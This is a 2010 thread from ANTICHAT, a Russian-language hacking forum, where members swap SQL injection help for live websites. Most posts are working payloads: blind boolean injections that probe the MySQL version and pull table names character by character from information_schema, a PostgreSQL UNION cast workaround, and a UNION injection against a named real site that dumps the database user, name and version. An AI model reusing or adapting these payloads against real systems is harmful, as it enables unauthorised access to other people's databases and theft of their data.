ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

22.01.2010, 22:52
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме: 556476
Репутация:
66
|
|
хех не подумал что встречу 3ую ветку, спс за помощь ))
|
|
|

23.01.2010, 01:08
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме: 556476
Репутация:
66
|
|
Сообщение от v1d0qz
Продолжение поста.
Вообщем досмотрел я запрос, Яника, если не ошибаюсь. Там головняк ещё тот. Вообщем сложно, долго, но реально.
Как оказалось, я не увидел что там стояло 2 дужки. Ну и собственно что получилось..
?script=%2527%29%29/**/and/**/substring%28version%28%29/**/from/**/version%28%29/**/for/**/1%29=3/*
Дальше ковырять не стал, потому как в 3-й версии особо не повоюешь, т.е. у меня нету столько свободного времени. Вот так вот.
зы. а с дублями там вообще помоему фикс, если я не ошибаюсь.
упс тут вроде не третая версия:
?script=%2527))/**/and/**/(version()/**/like/**/%25275%%2527)/*
на 5версию норм обрабатывает. Тока я не понял как теперь составит правильный запрос что вытянут имена из information_schema.tables если это реально конечно
|
|
|

23.01.2010, 03:08
|
|
Познающий
Регистрация: 21.07.2007
Сообщений: 68
Провел на форуме: 947074
Репутация:
257
|
|
Сообщение от v1d0qz
Продолжение поста.
Вообщем досмотрел я запрос, Яника, если не ошибаюсь. Там головняк ещё тот. Вообщем сложно, долго, но реально.
Как оказалось, я не увидел что там стояло 2 дужки. Ну и собственно что получилось..
?script=%2527%29%29/**/and/**/substring%28version%28%29/**/from/**/version%28%29/**/for/**/1%29=3/*
Дальше ковырять не стал, потому как в 3-й версии особо не повоюешь, т.е. у меня нету столько свободного времени. Вот так вот.
зы. а с дублями там вообще помоему фикс, если я не ошибаюсь.
Сообщение от YuNi|[c
упс тут вроде не третая версия:
?script=%2527))/**/and/**/(version()/**/like/**/%25275%%2527)/*
на 5версию норм обрабатывает. Тока я не понял как теперь составит правильный запрос что вытянут имена из information_schema.tables если это реально конечно
ой извини дружище, писал на спешку уходя с офиса. Вот правильный запрос.
?script=%2527%29%29/**/and/**/substring%28version%28%29/**/from/**/1/**/for/**/1%29=5/*
На счёт дальнейшего перебора, мой вам совет, возьмите для начала что-нибудь по проще, толк будет намного больше, я серьёзно...
ps. а по поводу как именно перебирать, то здесь всё просто.
?script=%2527))/**/and/**/lower(ascii(substring((select(table_name)from(info rmation_schema.tables)where/**/table_name=%2527CHARACTER_SETS%2527/**/LIMIT/**/1)/**/from/**/1/**/for/**/1)))=99/*
Последний раз редактировалось v1d0qz; 23.01.2010 в 19:30..
|
|
|

23.01.2010, 19:14
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме: 556476
Репутация:
66
|
|
Сообщение от v1d0qz
ой извини дружище, писал на спешку уходя с офиса. Вот правильный запрос.
?script=%2527%29%29/**/and/**/substring%28version%28%29/**/from/**/1/**/for/**/1%29=5/*
На счёт дальнейшего перебора, мой вам совет, возьмите для начала что-нибудь по проще, толк будет намного больше, я серьёзно...
ps. а по поводу как именно перебирать, то здесь всё просто.
?script=%2527))/**/and/**/lower(ascii(substring((select(table_name)from(info rmation_schema.tables)where/**/table_name=%2527CHARACTER_SETS%2527/**/LIMIT/**/1)/**/from/**/1/**/for/**/1)))=99/*
угу немного сложновато придется перебор, вот я саму конструкцию немного непонял. Где тут номер для второго символа ставит?
/LIMIT/**/ 2,1)/**/from/**/1/**/for/**/1)))=99/* не пашет так как на запятую ругается. Если бы запрос было таким: AND ascii(lower(substring(user(),4,1)))>110 то понятно что тут четвертый символ перебирается, но выше немного посложнее как видно и еще на запросе уже написан имя character_sets и зачем надо еще раз перебират если уже известно название ))
|
|
|

23.01.2010, 20:17
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме: 7215020
Репутация:
1423
|
|
YuNi|[c,
https://forum.antichat.ru/showpost.php?p=1734696&postcount=12
https://forum.antichat.ru/showpost.php?p=1734851&postcount=13
|
|
|

24.01.2010, 00:10
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме: 295283
Репутация:
69
|
|
PostgreSQL
Query failed: ERROR: UNION типы double precision и character varying не совпадают
как преобразовать тип данных для вывода информации?
|
|
|

24.01.2010, 00:17
|
|
Участник форума
Регистрация: 10.06.2008
Сообщений: 201
Провел на форуме: 1174919
Репутация:
229
|
|
использовать функцию cast, например:
UNION+SELECT+null,null,cast(username+as+text),null ,null+from+users
|
|
|

24.01.2010, 00:24
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме: 295283
Репутация:
69
|
|
грабли
ERROR: UNION типы double precision и text не совпадают
|
|
|

24.01.2010, 01:08
|
|
Познающий
Регистрация: 10.08.2009
Сообщений: 30
Провел на форуме: 282022
Репутация:
4
|
|
Здравствуйте. Подскажите, вот допустим есть такая инъекция
Код:
http://arcadepod.com/shockwave/gotogame.php?id=2358 union select 1,2,3,4
если поставить "-" или например несуществующее значение переменной id, то редиректит на другую станицу с ошибкой.. можно ли как нить вывести нужные значения?
|
|
|

24.01.2010, 01:18
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Код:
http://arcadepod.com/shockwave/gotogame.php?id=2358+and+null+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|